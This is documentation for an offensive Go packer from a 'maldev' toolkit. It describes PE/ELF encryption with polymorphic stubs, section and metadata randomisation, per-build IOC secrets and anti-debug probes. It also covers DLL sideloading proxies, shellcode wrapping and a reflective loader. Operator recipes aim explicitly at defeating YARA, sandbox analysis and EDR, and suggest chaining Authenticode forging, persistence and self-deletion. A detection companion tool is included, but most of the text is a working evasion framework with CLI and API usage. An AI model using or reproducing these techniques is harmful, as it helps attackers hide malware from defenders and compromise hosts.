file: randomized.exe (1676288 bytes)
NumberOfSections: 11               # ← +2 from RandomizeJunkSections
COFF.PointerToSymbolTable: 0xe2800 # ← moved by RandomizePEFileOrder

#    Name        VA          VirtSize    RawOff      RawSize     Characteristics
0    .jgvcc      0x00001000  0x000a3ab1  0x000e7c00  0x000a3c00  0xe0000020 [CODE RWX]
1    .tzmsj      0x000a5000  0x000dd008  0x00000600  0x000dd200  0x40000040 [DATA R]
2    .vwwcw      0x00183000  0x00057a28  0x0018b800  0x0000dc00  0xc0000040 [DATA RW]
3    .soffy      0x001db000  0x00004be4  0x000e2a00  0x00004c00  0x40000040 [DATA R]
4    .lnfio      0x001e0000  0x000000a8  0x000dd800  0x00000200  0x40000040 [DATA R]
5    .raoac      0x001e1000  0x0000055a  0x000e7600  0x00000600  0xc0000040 [DATA RW]
6    .dinxv      0x001e2000  0x00003d4c  0x000dda00  0x00003e00  0x42000040 [DATA R]
7    .etahy      0x001e6000  0x00000004  0x000e2800  0x00000200  0x42000000 [R]
8    .hrukp      0x001e7000  0x00001000  0x000e1800  0x00001000  0x60000020 [CODE RX]
9    .rsnnn      0x001e8000  0x00001000  0x00000000  0x00000000  0x40000080 [BSS R]
10   .klvpv      0x001e9000  0x00001000  0x00000000  0x00000000  0x40000080 [BSS R]

What changed on disk:

  • Names — every section, including the appended stub, got a random .xxxxx name (Phase 2-F-1 + 2-A).
  • File layout.jgvcc (was .text) is now at file offset 0xe7c00 instead of 0x600; .tzmsj (was .rdata) is at 0x600 instead of 0xa4200 (Phase 2-F-3-b).
  • Section count — 9 → 11; .rsnnn and .klvpv are zero-byte BSS placeholders the loader maps as zero-filled but consume no file bytes (Phase 2-F-2).
  • COFF.PointerToSymbolTable correctly tracks the new file position of the section that carried it.

What did NOT change:

  • Every section's VA and VirtSize is identical between the two packs. The runtime memory image is byte-identical.
  • File size: identical (1676288 bytes). Phase 2-F-2 separators carry no file bytes; Phase 2-F-3-b just shuffles existing bodies.
  • The stub still runs, the .text still decrypts, the payload still prints "hello from windows" (validated by Win10 VM E2E TestPackBinary_WindowsPE_RandomizeAll_E2E).

Recipes — common operator goals

GoalOpt combo
Cheapest "looks different" — defeat shallow YARA + sample-clustering by linker metadata, ~zero riskRandomizeStubSectionName + RandomizeTimestamp + RandomizeLinkerVersion + RandomizeImageVersion
All defaults defeated — ship one variant per target with maximum on-disk + structural variance, validated end-to-endRandomizeAll: true
File-offset YARA only — the rule says at offset 0x400 expect bytes XX YY ZZ and we need to defeat just thatRandomizePEFileOrder: true (one opt; no header changes, runtime image untouched)
Section-count hunting — analyst keys on "Go binary always has 8 sections"RandomizeJunkSections: true (per-pack count drawn from [1, 5])
Reproducible build — operator-supplied Seed produces deterministic output across runs of PackBinary (useful for diff tooling, batch-pack pipelines)Set opts.Seed to any non-zero int64. All Randomize* opts seed from this value with per-opt offsets so they decorrelate.
Maximum stealth, accept the experimental risk — also push VAs aroundRandomizeAll: true + RandomizeImageBase: true. Test on the actual payload before deploying — VA experiments can crash some Go versions.

Composing with the operator-side Seed

When opts.Seed != 0, every randomiser derives its math/rand stream from Seed + perOptOffset. The offsets (defined as seedOffset* constants in pe/packer/packer.go) are fixed per opt, so two packs with the same Seed produce byte-identical outputs. Two packs with different Seed values produce different outputs even when only ONE opt is enabled.

When opts.Seed == 0, the packer draws ONE crypto-random seed from random.Int64() at the top of PackBinary and feeds it to every enabled randomiser via the same offset scheme. Result: crypto-random output across runs, but still single-syscall on the random source.

This means an operator scripting a batch pack can choose between:

  • Seed: 0 (default) — fresh per-pack crypto-random output, no operator state to track.
  • Seed: <some int64> — deterministic output, useful when the same artefact must be regenerated bit-for-bit on a different machine.
  • Seed: <derived from per-target string> — a poor man's "fingerprint as seed" that produces the same artefact for the same target without storing any state.

Validation

Two safety nets keep the per-pack randomisation honest:

  1. Unit + integration tests in pe/packer/ — every opt has a _PreservesInput test (default-off → byte-stable behaviour matches v0.93 baseline) and a _DeterministicGivenSeed test (same seed → same output).
  2. Win10 VM end-to-end testTestPackBinary_WindowsPE_RandomizeAll_E2E (build-tag gated) packs winhello.exe with RandomizeAll: true, executes the resulting PE on a real Windows VM, and asserts stdout contains "hello from windows". This is the gate before adding any new opt to the RandomizeAll fan-out.

The Phase 2-F-3-c experimental opts (RandomizeImageBase, RandomizeImageVAShift) are excluded from RandomizeAll precisely because they don't yet pass this Win10 E2E. The walker-suite roadmap that will let them join is in .dev/refactor-2026/packer-2f3c-walker-suite-plan.md.


Per-build IOC randomisation — Kerckhoffs

Per Kerckhoffs's principle: the algorithm is public; only the secret is the operator's. The wire format spec is in .dev/superpowers/specs/2026-05-08-packer-multi-target-bundle.md — reproducible by anyone. The per-build secret (any string the operator picks per deployment) derives via HKDF-SHA256 (RFC 5869, v0.83.0+) to:

IOC byte layerWhat it isDerivation
BundleMagic (4 B at offset 0)Bundle blob magicHKDF(secret, "maldev/bundle/magic", 4)
FooterMagic (8 B at end of wrap)Launcher trailer sentinelHKDF(secret, "maldev/bundle/footer", 8)
BundleVersion (2 B at offset 4)Wire format version field`HKDF(secret, "maldev/bundle/version", 2)
Vaddr (8 B in p_vaddr/p_paddr)All-asm ELF load addressHKDF(secret, "maldev/bundle/vaddr", 8) (page-aligned, user-space half)

Each field's HKDF expansion uses a purpose-bound label, so flipping bits in one field gives an attacker no algebraic handle on the others — they are statistically independent rather than slices of the same hash. Pre-v0.83.0 builds used sha256(secret)[a:b] slicing; bundles produced under that scheme are NOT compatible with v0.83.0+ when a non-empty secret is set. Re-pack at the migration boundary.

A defender writing yara on canonical builds matches "MLDV at offset 0", "version field == 1", "PT_LOAD at vaddr 0x400000". A defender facing per-build artefacts matches none of those without the secret in hand.

profile := packer.DeriveBundleProfile([]byte("op-2026-05-09-targetA"))
// profile.Magic, .FooterMagic, .Version, .Vaddr all set.

bundle, _ := packer.PackBinaryBundle(payloads, packer.BundleOptions{Profile: profile})
wrapped := packer.AppendBundleWith(launcher, bundle, profile)

The launcher needs the SAME secret at build time:

$ go build -ldflags "-X main.bundleSecret=op-2026-05-09-targetA" \
    -o bundle-launcher ./cmd/bundle-launcher

packer bundle -wrap prints this build line as a hint when given -secret.

What this protects against:

  • Static signature pivots across deployments.
  • IOC sharing between operators / between ops cycles.
  • Stub byte signatures across packs (per-pack NOP polymorphism is independent of the secret — every pack is unique even within a single deployment).

What this does NOT protect against:

  • An analyst who has the secret. The wire format is documented; recovery is mechanical via the *With variants of the parser API or via cmd/packerscope -secret.
  • Yara rules keyed on the structural shape of the produced binary (single-PT_LOAD-RWX ELF for the all-asm path; appended .mldv section for PackBinary). Defenders writing shape rules match every build regardless of secret.

Defender pair — cmd/packerscope

Symmetric companion: detect, dump, and extract maldev artefacts. Algorithm is public, so this tool exists.

# Identify what kind of artefact a file is.
$ packerscope detect ./suspect.bin
kind: launcher-wrapped
  - MLDV-END-style footer at end of file

# Dump the wire-format structure.
$ packerscope dump ./bundle.bin
artefact: raw-bundle (139 bytes)
bundle:   magic=0x56444c4d version=0x1 count=1 fallback=0
  [0] pred=0x08 vendor="*"          build=[0, 0] data=0x70..+27

# Extract decrypted payload(s) to disk.
$ packerscope extract ./bundle.bin -out ./extracted/
payload 00: 27 bytes → ./extracted/payload-00.bin

For per-build artefacts, pass the operator's secret:

$ packerscope detect -secret "op-2026-05-09-targetA" ./mystery.bin
kind: launcher-wrapped
  - MLDV-END-style footer at end of file

Without the secret, per-build artefacts return kind: unknown plus a structural-hint line ("looks like a tiny single-PT_LOAD-RWX ELF (suggestive); -secret may be needed").

Use cases:

  • Blue team confirming an extracted suspect is one of theirs (e.g., red-team operator's bundle that escaped scope).
  • Operator sanity-checking their own build before shipping.
  • Integration-test ground truth for yara rules.

Visualisation — cmd/packer-vis

Terminal art for understanding what the packer does. No TUI framework, pure stdlib + ANSI 256 colours.

# Shannon entropy heatmap, 256-byte windows. Cool blue = code/ASCII;
# hot red = encrypted/compressed. Run before+after `packer pack`
# to see the .text region flip.
$ packer-vis entropy ./input.exe

# Side-by-side, with average-entropy delta:
$ packer-vis compare ./input.exe ./packed.exe
  delta:  size +1832 bytes  entropy +2.43 bits/byte
                            ← strong randomness gain (encryption/compression)

# Bundle wire-format viz — boxed ASCII art, one box per entry,
# offsets + sizes annotated.
$ packer-vis bundle ./bundle.bin
  bundle.bin
  124 bytes | magic=0x56444c4d version=0x1 count=2 fallback=0

  ┌─ BundleHeader ─────────────────────────────────────┐
  │ 0x00..0x20  magic + version + count + offsets      │
  │            fpTable=0x20   plTable=0x80   data=0xc0 │
  └────────────────────────────────────────────────────┘

  ┌─ [0] FingerprintEntry @ 0x20 ────────────────────┐
  │ predType=0x01  vendor="GenuineIntel"  build=[22000, 99999] │
  └────────────────────────────────────────────────────┘
  …

Pedagogical: an operator (or a code reviewer) sees the structure described in this doc as a thing on screen, not just a byte table.


CLI Reference — cmd/packer

packer pack    -in <file> -out <file> [-format blob|windows-exe|linux-elf]
                                      [-rounds 3] [-seed N]
                                      [-compress] [-antidebug] [-randomize]
                                      [-cover] [-keyout <file>] [-key <hex64>]
packer unpack  -in <file> -out <file> -key <hex32>
packer bundle  -out <file> -pl <spec> [-pl <spec> ...]
                                      [-fallback exit|crash|first]
                                      [-secret <s>]
packer bundle  -inspect <bundle>
packer bundle  -match   <bundle>
packer bundle  -wrap    <launcher> -bundle <bundle> -out <exe>
                                      [-secret <s>]
packer shellcode -in <sc> -out <bin> [-format windows-exe|linux-elf]
                                     [-encrypt] [-base 0xHEX]
                                     [-rounds N] [-seed S]
                                     [-key <hex32>] [-keyout <file>]

The shellcode subcommand (Mode 6) wraps raw position-independent shellcode in a runnable host PE / ELF. -encrypt chains through PackBinary's SGN-style stub envelope; without -encrypt, the shellcode sits at the entry point in cleartext (smaller output, trivially YARA-able).

Bundle spec syntax (-pl):

<file>:<vendor>:<min>-<max>
  vendor ∈ {intel | amd | *}        (* = any vendor)
  min/max = Windows build number    (use * for "no bound")

  e.g. -pl payload-w11.exe:intel:22000-99999
       -pl payload-w10.exe:amd:10000-19999
       -pl fallback.exe:*:*-*

-fallback controls what the launcher does when no predicate matches:

  • exit — silent clean exit (default)
  • first — select payload 0 unconditionally (defeats per-host secrecy)
  • crash — deliberate fault → SIGSEGV (sandbox alert)

Library API Reference

Single-target

func PackBinary(input []byte, opts PackBinaryOptions) (out []byte, key []byte, err error)

Modifies a PE32+ or ELF64 in place: encrypts .text with the SGN polymorphic encoder, appends a small decoder stub as a new section, rewrites the entry point. Output is a runnable binary.

FieldTypeDefaultNotes
FormatFormat(required)FormatWindowsExe / FormatLinuxELF
Stage1Roundsint3SGN decoder rounds; 1..10
Seedint640 (= random)Same seed + input + rounds = byte-identical output
CompressboolfalseLZ4 .text before SGN
AntiDebugboolfalseWindows-only: PEB + RDTSC probe
CipherKey[]bytenilReserved for future AES wrapping

Sentinels (use errors.Is):

  • transform.ErrUnsupportedInputFormat — magic doesn't match Format.
  • transform.ErrNoTextSection — input lacks executable section.
  • transform.ErrOEPOutsideText — OEP not in .text.
  • transform.ErrTLSCallbacks — input has TLS callbacks (would run before stub).
  • transform.ErrStubTooLarge — stub exceeded StubMaxSize.

func PackShellcode(shellcode []byte, opts PackShellcodeOptions) ([]byte, []byte, error)

Wraps raw position-independent shellcode in a runnable host PE / ELF; optionally chains through PackBinary for the SGN-style stub envelope. Returns (binary, key, err)key is non-nil only when Encrypt=true and the operator did not supply one.

FieldTypeDefaultNotes
FormatFormat(required)FormatWindowsExe / FormatLinuxELFFormatUnknown rejected
EncryptboolfalseRun the wrapped host through PackBinary's stub envelope
ImageBaseuint640 (= canonical)Per-build PE ImageBase / ELF vaddr override; 0 → 0x140000000 (PE) or 0x400000 (ELF)
Stage1Roundsint3SGN decoder rounds; -encrypt only
Seedint640 (= random)Same seed → byte-identical output; -encrypt only
Key[]bytenilOperator-supplied AEAD key; -encrypt only
AntiDebugboolfalseWindows-only PEB + RDTSC probe; -encrypt only
CompressboolfalseLZ4 the wrapped host before SGN; -encrypt only

Sentinels (use errors.Is):

  • packer.ErrShellcodeEmpty — shellcode bytes nil or zero-length.
  • packer.ErrUnsupportedFormatopts.Format is FormatUnknown.
  • transform.ErrMinimalELFWithSectionsCodeEmpty — surfaced as a wrap error.

func Pack(data []byte, opts Options) ([]byte, []byte, error)

Encrypt arbitrary bytes into an MLDV… blob. Returns (blob, key, err).

func Unpack(packed []byte, key []byte) ([]byte, error)

Reverse Pack. Sentinels: ErrShortBlob, ErrBadMagic, ErrUnsupportedVersion, ErrUnsupportedCipher, ErrUnsupportedCompressor, ErrPayloadSizeMismatch. Wrong key surfaces as the underlying AEAD authentication error.

func PackPipeline(data []byte, pipeline []PipelineStep) ([]byte, PipelineKeys, error)

Multi-stage Pack — compose ciphers, compressors, permutations. Returns the blob plus the per-step keys (caller must store all of them to invert via UnpackPipeline). Pipeline ops: OpCipher, OpPermute, OpCompress, OpEntropyCover. Sentinels: ErrEmptyPipeline, ErrPipelineTooLong, ErrUnsupportedPermutation, ErrPipelineKeysMismatch.

DLL operations (Modes 7-10)

func PackBinary(input []byte, opts PackBinaryOptions) (out, key []byte, err error) — Mode 7

Same entry point as Mode 3, but with opts.Format = FormatWindowsDLL. Input MUST be a PE32+ DLL with IMAGE_FILE_DLL set and a populated .reloc table. Returns the packed DLL ready for LoadLibrary. The original DllMain is preserved verbatim (stub tail-calls into it). See Mode 7 above for the toolchain limitation (mingw refuses .reloc; use MSVC or transform.BuildMinimalPE32Plus).

Sentinels (opts.Format = FormatWindowsDLL):

  • transform.ErrIsEXE — input is an EXE, not a DLL.
  • transform.ErrNoExistingRelocDir — input lacks .reloc.
  • stubgen.ErrCompressDLLUnsupportedCompress not yet threaded through the DllMain stub.

func PackBinary(input []byte, opts PackBinaryOptions) (out, key []byte, err error) — Mode 8

Same entry point with opts.Format = FormatWindowsExe + opts.ConvertEXEtoDLL = true. Input is an EXE; output is a DLL that LoadLibrary'd spawns the original EXE entry point on a new thread inside the host process. Compress + AntiDebug both supported.

Optional: opts.ConvertEXEtoDLLDefaultArgs string (v0.130.0+) bakes a default command line into the stub. The DllMain overwrites PEB.ProcessParameters.CommandLine.Buffer in place (REP MOVSB) BEFORE invoking the OEP, so the spawned payload's GetCommandLineW / os.Args returns the operator-controlled bytes instead of the host process's cmdline. Empty string = no patch; payload inherits host cmdline.

func PackChainedProxyDLL(input []byte, opts ChainedProxyDLLOptions) (proxy, payload, key []byte, err error) — Mode 9

Two-file sideloading bundle. Returns proxy (forwarder + LoadLibraryA stub mirroring opts.TargetName's exports) and payload (encrypted EXE-as-DLL, Mode-8 shape). Drop both side-by-side under the operator's chosen filenames.

func PackProxyDLL(input []byte, opts ProxyDLLOptions) (proxy, key []byte, err error) — Mode 10

Single-file fused proxy. Returns one PE32+ DLL that BOTH mirrors opts.TargetName's exports AND carries the encrypted EXE payload, with NO LoadLibraryA IAT entry (CreateThread resolved via PEB walk).

PackProxyDLLFromTarget

func PackProxyDLLFromTarget(payload, targetDLLBytes []byte, opts ProxyDLLOptions) (proxy, key []byte, err error)

Convenience wrapper around PackProxyDLL that parses the target DLL's bytes (via dllproxy.ExportsFromBytes) and feeds the named-export list into opts.Exports — the caller no longer reaches into pe/parse directly. opts.TargetName is still required (the on-disk filename the proxy impersonates; not inferable from the PE).

fakelib, _ := os.ReadFile(`C:\Vulnerable\fakelib.dll`)
fused, key, err := packer.PackProxyDLLFromTarget(probe, fakelib, packer.ProxyDLLOptions{
    PackOpts:   packer.PackBinaryOptions{Format: packer.FormatWindowsExe, Stage1Rounds: 3},
    TargetName: "fakelib",
})

Used as the canonical Mode-10 entry point by examples/privesc-dll-hijack (the -mode 10 branch reads fakelib.dll from the target and packs in one call).

Transform building blocks (advanced)

Lower-level primitives the operator-facing entry points compose with. Use directly when integrating with other maldev packages or building custom emitters.

transform.WalkBaseRelocs(pe, cb) error
transform.WalkImportDirectoryRVAs(pe, cb) error
transform.WalkResourceDirectoryRVAs(pe, cb) error
transform.ShiftImageVA(pe, delta) ([]byte, error)
transform.AppendExportSection(pe, exportBytes, sectionRVA) ([]byte, error)
transform.NextAvailableRVA(pe) (uint32, error)
transform.StripPESecurityDirectory(pe) error
transform.BuildMinimalPE32Plus(body) ([]byte, error)
transform.SetIMAGEFILEDLL(buf) error
transform.PatchPEImageBase(pe, base) error
transform.RandomImageBase64(rng) uint64
dllproxy.BuildExportData(targetName, exports, scheme, sectionVA) ([]byte, uint32, error)

Multi-target bundle

func PackBinaryBundle(payloads []BundlePayload, opts BundleOptions) ([]byte, error)

Serialise N payloads into a single bundle blob. Each payload is XOR-encrypted with a fresh random 16-byte rolling key. Wire format: 32 B BundleHeader + N × 48 B FingerprintEntry + N × 32 B PayloadEntry + concatenated encrypted data.

BundleOptions fieldNotes
FallbackBehaviourBundleFallbackExit / …First / …Crash
FixedKeyTest determinism only — defeats per-payload secrecy
ProfilePer-build IOC overrides; see DeriveBundleProfile

Sentinels: ErrEmptyBundle, ErrBundleTooLarge (>255 payloads).

func DeriveBundleProfile(secret []byte) BundleProfile

SHA-256 derives BundleProfile{Magic, Version, FooterMagic, Vaddr} from a per-deployment secret. Empty secret returns the canonical wire-format defaults.

func InspectBundle(bundle []byte) (BundleInfo, error)

func InspectBundleWith(bundle []byte, profile BundleProfile) (BundleInfo, error)

Parse a bundle blob into typed BundleInfo + BundleEntryInfo slice. The *With variant validates against the operator's per-build profile.Magic instead of the canonical BundleMagic.

Sentinels: ErrBundleTruncated, ErrBundleBadMagic, ErrBundleOutOfRange.

func SelectPayload(bundle []byte, hostVendor [12]byte, hostBuild uint32) (int, error)

func SelectPayloadWith(bundle []byte, profile BundleProfile, hostVendor [12]byte, hostBuild uint32) (int, error)

Pure-Go reference implementation of the runtime predicate match. Returns the matched payload index, or -1 on no match.

func UnpackBundle(bundle []byte, idx int) ([]byte, error)

func UnpackBundleWith(bundle []byte, idx int, profile BundleProfile) ([]byte, error)

Build-host helper: decrypt one payload by index. The runtime stub re-implements the same logic in asm and never exposes keys to memory unless its predicate matched.

func MatchBundleHost(bundle []byte) (int, error)

func MatchBundleHostWith(bundle []byte, profile BundleProfile) (int, error)

SelectPayload + reads host vendor/build automatically (HostCPUIDVendor

  • RtlGetVersion on Windows / 0 on Linux).

func AppendBundle(launcher, bundle []byte) []byte

func AppendBundleWith(launcher, bundle []byte, profile BundleProfile) []byte

func ExtractBundle(wrapped []byte) ([]byte, error)

func ExtractBundleWith(wrapped []byte, profile BundleProfile) ([]byte, error)

Concatenate / extract a bundle to/from a pre-built launcher binary. Layout: [ launcher | bundle | bundleStartOffset:8 LE | FooterMagic:8 ].

func WrapBundleAsExecutableLinux(bundle []byte) ([]byte, error)

func WrapBundleAsExecutableLinuxWith(bundle []byte, profile BundleProfile) ([]byte, error)

func WrapBundleAsExecutableLinuxWithSeed(bundle []byte, profile BundleProfile, seed int64) ([]byte, error)

All-asm wrap path. The hand-rolled stub (~160 B) + minimal-ELF container (~120 B) + bundle bytes = a runnable Linux ELF in ~470 B. The *WithSeed variant exposes deterministic stub polymorphism for reproducible builds; the standard variant draws a fresh crypto/rand seed.

Cover layer

The cover layer adds plausible-looking structural noise to packed binaries to frustrate naive packer fingerprints. Orthogonal to the bundle path — applies to any PE/ELF.

func AddCoverPE(input []byte, opts CoverOptions) ([]byte, error)

func AddCoverELF(input []byte, opts CoverOptions) ([]byte, error)

Append junk sections (PE) / PT_LOADs (ELF) filled per CoverOptions.Fill (JunkRandom / JunkZero / JunkPattern). All sections are MEM_READ-only on PE and PF_R-only on ELF — the cover never adds executable surface.

func DefaultCoverOptions(seed int64) CoverOptions

func ApplyDefaultCover(input []byte, seed int64) ([]byte, error)

Convenience: a sensible default CoverOptions (5-7 sections, JunkPattern fill, frequency-ordered byte alphabet) plus the all-in-one wrapper that auto-detects PE vs ELF.

func AddFakeImportsPE(input []byte, fakes []FakeImport) ([]byte, error)

var DefaultFakeImports []FakeImport

Append benign-DLL IMAGE_IMPORT_DESCRIPTOR entries (kernel32, user32, shell32, ole32) so the packed PE's IAT looks normal. The kernel resolves these at load time; the binary's actual code never references them. Companion to AddCoverPE.

Runtime — pe/packer/runtime

func Prepare(input []byte) (*PreparedImage, error)

func (p *PreparedImage) Run() error

func (p *PreparedImage) Free() error

Reflective in-process loader. Parses the input PE/ELF, mmaps PT_LOADs (or PE sections), applies relocations, mprotects per-segment, patches auxv, and jumps to entry on a fake kernel stack. Used by cmd/bundle-launcher's MALDEV_REFLECTIVE=1 path.

Run() requires MALDEV_PACKER_RUN_E2E=1 in the environment — explicit operator opt-in so the runtime can't fire by accident in processes that happen to import the package.


OPSEC & Detection

What defenders see

ArtefactWhere defenders lookMitigation
MLDV magic at file offset 0 (raw blob)Static signature scannerPack is a byte stream, not an exe — wrap in a host PE before shipping
Appended .mldv section in PackBinary outputPE section-name scanRename via pe/morph upstream
Single-PT_LOAD-RWX ELF (all-asm wrap)yara structural ruleIrreducible without changing the container
Bundle wire format (magic + 32 B header + 48 B entries)Static rule keyed on the structure-secret randomises the magic + version + footer + ELF vaddr; structural offsets remain
Stub byte signatures across packsyara rule on opcode sequencePer-pack NOP polymorphism (Intel multi-byte NOPs spliced at slot A) breaks naive byte signatures
.text RWX in PackBinary outputMemory-permissions auditThe stub mprotects on entry so .text is RWX for a few cycles only — but it IS RWX for that window
Imports / exports / TLS / resources of the inputThey survive packingUse pe/morph / pe/imports upstream

Process-tree visibility

ModeProcess tree
PackBinary packed exeOne process — kernel does the load
cmd/bundle-launcher defaultTwo processes (launcher → execve payload)
cmd/bundle-launcher reflective (MALDEV_REFLECTIVE=1)One process
All-asm wrapOne process

D3FEND counters

  • D3-FCA — magic-byte fingerprinting catches canonical builds; per-build randomisation defeats it.
  • D3-PA — RWX .text and high-entropy regions look anomalous to memory scanners.

Operator hardening

  • Pair every PackBinary with pe/morph.UPXMorph + pe/strip to remove pclntab strings / Go BuildID that survive .text encryption.
  • Run cmd/packer-vis compare before+after pack to confirm the expected entropy gain (typical +2.0..+3.0 bits/byte on a Go static-PIE).
  • For multi-target deployments, pick a fresh -secret per ship cycle. Reusing secrets defeats the per-build property.
  • The reflective launcher path leaves no on-disk plaintext for the matched payload — prefer it over memfd+execve on hosts with aggressive auditd / EDR file-write monitoring.
  • cmd/packerscope against your own build is a sanity check — if the tool can identify your binary's wire format, the operator can too.

Composability with other maldev packages

The packer is intentionally narrow — it produces a runnable binary. Wider operator workflows chain other maldev packages around it.

Hook pointPackageWhat you get
Pre-pack section / IAT scramblepe/morph, pe/stripSection rename, Go pclntab strip — hides strings the SGN encoder otherwise leaks
Pre-pack masqueradepe/masquerade, pe/donors, pe/certAuthenticode forge, icon graft, version-info swap — packed binary inherits the legitimate-looking shell
Stronger payload encryptioncrypto/aesgcm, crypto/chacha20The bundle's per-payload cipher is XOR-rolling today; pre-encrypt the payload before bundling for a real AEAD layer
Sandbox bail before revealrecon/antivm.Hypervisor, recon/sandboxWrap the launcher so it exits cleanly on a known sandbox before any payload byte gets touched
In-process injectioninject/*The bundle's payload can BE the shellcode an operator injects elsewhere; pack→bundle→inject = three orthogonal layers
Custom predicateshash/apihash, recon/antivm.CPUVendorExtend FingerprintPredicate with operator host-fingerprint logic
Persistence after dispatchpersistence/*Dispatched payload installs itself via Run/RunOnce / scheduled task / service
Cleanup after dispatchcleanup/selfdelete, cleanup/timestompSelf-delete after payload finishes — typical operator pattern

The cmd/bundle-launcher Go-runtime path is where these compose naturally — it's pure Go, and any maldev import works at the call site of executePayload. The all-asm path is intentionally minimal (no Go runtime, ~470 B); operators wanting a recon prologue there need a corresponding asm primitive (pe/packer/stubgen/stage1 already houses CPUID/PEB; sandbox / hypervisor primitives can be added the same way).


Asm tooling — golang-asm vs alternatives

The packer uses pe/packer/stubgen/amd64.Builder, a thin wrapper around golang-asm (the encoder Go's compiler uses for plan9 asm). Builder exposes a small hand-curated subset (MOV / LEA / XOR / SUB / ADD / MOVZX / MOVB / DEC / POP / JMP / JNZ / JE / CALL / RET / NOP / RawBytes / labels); the remaining x86-64 encodings (CMP / TEST / SHL / IMUL / SETZ / multi-byte NOPs) ride on RawBytes with hand-encoded ModRM.

Why not mmcloughlin/avo? Avo generates .s files at build time that Go assembles into the calling binary. Excellent for multi-arch math kernels (chacha20, blake2b). Wrong direction for our use case: we EMIT raw bytes at PACK time into a dynamically sized stub embedded in someone else's binary. golang-asm gives us the JIT-style "encode bytes into a buffer" API we need; avo gives us a .o linked into the packer itself.

Where the hand-encoded bytes hurt. The stub's scan loop, vendor compare, decrypt loop are 100-200 byte sequences with rel8 displacements computed by hand and cross-checked via offset-trace comments. Eight wrong displacements were caught while shipping the vendor-aware dispatch. A targeted refactor extending amd64.Builder with CMP / TEST / Jcc-suite / SHL would let the stub become a chain of b.CMP(...) ; b.JGE(.label) calls with golang-asm computing displacements at link time. ~200-LOC extension. Not blocking; tracked.


Tested-fixture matrix (2026-05-12)

The empirical results below come from running each fixture through ALL applicable pack modes + Win10 VM E2E. All fixtures live under pe/packer/testdata/ (force-tracked binaries; rebuild via the pe/packer/testdata/Makefile targets).

Vanilla / RandomizeAll matrix (Mode 3 EXE pack)

FixtureClassVanilla packRandomizeAll packComment
winhello.exeGo static-PIE, exits cleanly✅ runs + prints stdout✅ runs + prints stdoutthe canonical happy path
winpanic.exeGo static-PIE, nil-deref + defer/recover✅ recovers + prints stack✅ recovers + prints stack.pdata stale doesn't bite Go (Go uses pclntab unwinder, not Win32 SEH)
winhello_w32.exemingw -nostdlib, Win32 directly (no CRT, no globals, no constructors)✅ runs + prints stdout✅ runs + prints stdoutproves the IMPORT walker covers non-Go MSVC-style binaries too — directory inventory IMPORT + EXCEPTION + IAT only
winhello_w32_res.exewinhello_w32 + RT_GROUP_ICON + RT_MANIFEST embedded via tc-hib/winres (pure Go, no mingw windres)✅ resources parseable post-pack✅ resources parseable post-packproves the RESOURCE walker (Phase 2-F-3-c-3, v0.125.0) preserves icons/manifests under RandomizeImageVAShift. Regenerate fixture: scripts/build-fixture-winres.sh.
winver.exe (Windows 11 stock)MSVC PE, CFG-protected❌ crash 0xC0000409 STATUS_STACK_BUFFER_OVERRUN❌ load reject "is not a valid Win32 application"CFG cookie protection rejects modified .text — see Known limitations below
mingw default (with CRT)C compiled normally, puts etc.❌ rejected at PackBinary time❌ samemingw CRT injects TLS callbacks → transform.ErrTLSCallbacks. Workaround: build with -nostdlib like winhello_w32
DLLs as EXE input (testlib.dll)mingw no-CRT shared library passed to Format=FormatWindowsExe❌ rejected at PackBinary time❌ sametransform.ErrIsDLL — input doesn't match Format=WindowsExe. Workaround: use Format=FormatWindowsDLL (Mode 7, ✅ since v0.128.0) or wrap with PackBinaryBundle.

DLL-mode validations (Modes 7-10)

TestModeWin10 VM E2EValidates
TestPackBinary_FormatWindowsDLL_LoadLibrary_E2E7 (FormatWindowsDLL)✅ since v0.128.0Native DllMain stub LoadLibrary'd cleanly. Uses testutil.BuildDLLWithReloc synthetic fixture.
TestPackBinary_ConvertEXEtoDLL_LoadLibrary_E2E8 (ConvertEXEtoDLL)Converted EXE-as-DLL: payload writes marker file from spawned thread. Uses probe_converted.exe.
TestPackBinary_ConvertEXEtoDLL_LoadLibrary_Compress_E2E8 + Compress✅ since v0.124.0Same + LZ4 inflate path. Confirms slice 5.7.
TestPackBinary_ConvertEXEtoDLL_LoadLibrary_AntiDebug_E2E8 + AntiDebug✅ since v0.122.0Silent-exit when KVM trips RDTSC↔CPUID delta on virtualised host.
TestPackProxyDLL_LoadLibrary_E2E10 (PackProxyDLL)✅ since v0.129.0Fused proxy loads — basic structural validation.
TestPackProxyDLL_Strict_E2E10 strict✅ since c9c0635Both side effects: (a) GetProcAddress resolves forwarder to real version.dll at 0x7ff9aff810b0 via GLOBALROOT scheme, (b) packed payload writes marker from thread inside host. Slice 6.3 closure.

Operational envelope: PackBinary is validated for Go-built static-PIE Windows binaries. Microsoft CFG-protected binaries are out of scope (see below). Non-CFG MSVC binaries and DLLs haven't been tested against the current walker coverage; a failure code other than 0xC0000409 would point at a missing walker per the walker-suite plan (internal: .dev/packer-2f3c-walker-suite-plan.md).

Known limitations

Diagnosing failures. The companion doc .dev/refactor-2026/packer-debug-toolkit.md (internal: .dev/packer-debug-toolkit.md) covers the empirical-bisection workflow + in-tree CLIs (packer-vis sections, packer-vis directories, packer-vis entropy, packer-vis compare) that solve most packer crashes without an external debugger. It includes a recognisable-failure-code table mapping 0xC0000005 / 0xC0000135 / 0xC0000409 / "is not a valid Win32 application" to their root causes + first-action remediation.

0xC0000005 (STATUS_ACCESS_VIOLATION) on large Compress packs

Symptom: packed binary exits with 0xC0000005 immediately, no stdout, no breadcrumb writes — the orchestrator never reaches main(). Affected large Go binaries (≥ ~2 MiB .text) packed with Compress=true.

Cause: InjectStubPE used to mark the appended stub section IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE only. The C3 compression path's LZ4 inflate decoder writes into the section's BSS slack at runtime (StubMaxSize..StubMaxSize+StubScratchSize, the kernel-zero-filled scratch region for the inflated plaintext before memcpy back to .text). Small inputs sometimes succeeded because the kernel happened to back the freshly-mapped BSS pages with implicitly-writable PTEs; larger inputs reliably faulted.

Fix (in tree since 2026-05-13): InjectStubPE now adds IMAGE_SCN_MEM_WRITE to the stub section's characteristics when Plan.StubScratchSize > 0. The change is gated behind the scratch-size predicate so non-Compress packs keep their RX-only stub section. Two regression tests pin the contract: TestInjectStubPE_StubSectionWritableWhenScratch and TestInjectStubPE_StubSectionReadOnlyWithoutScratch.

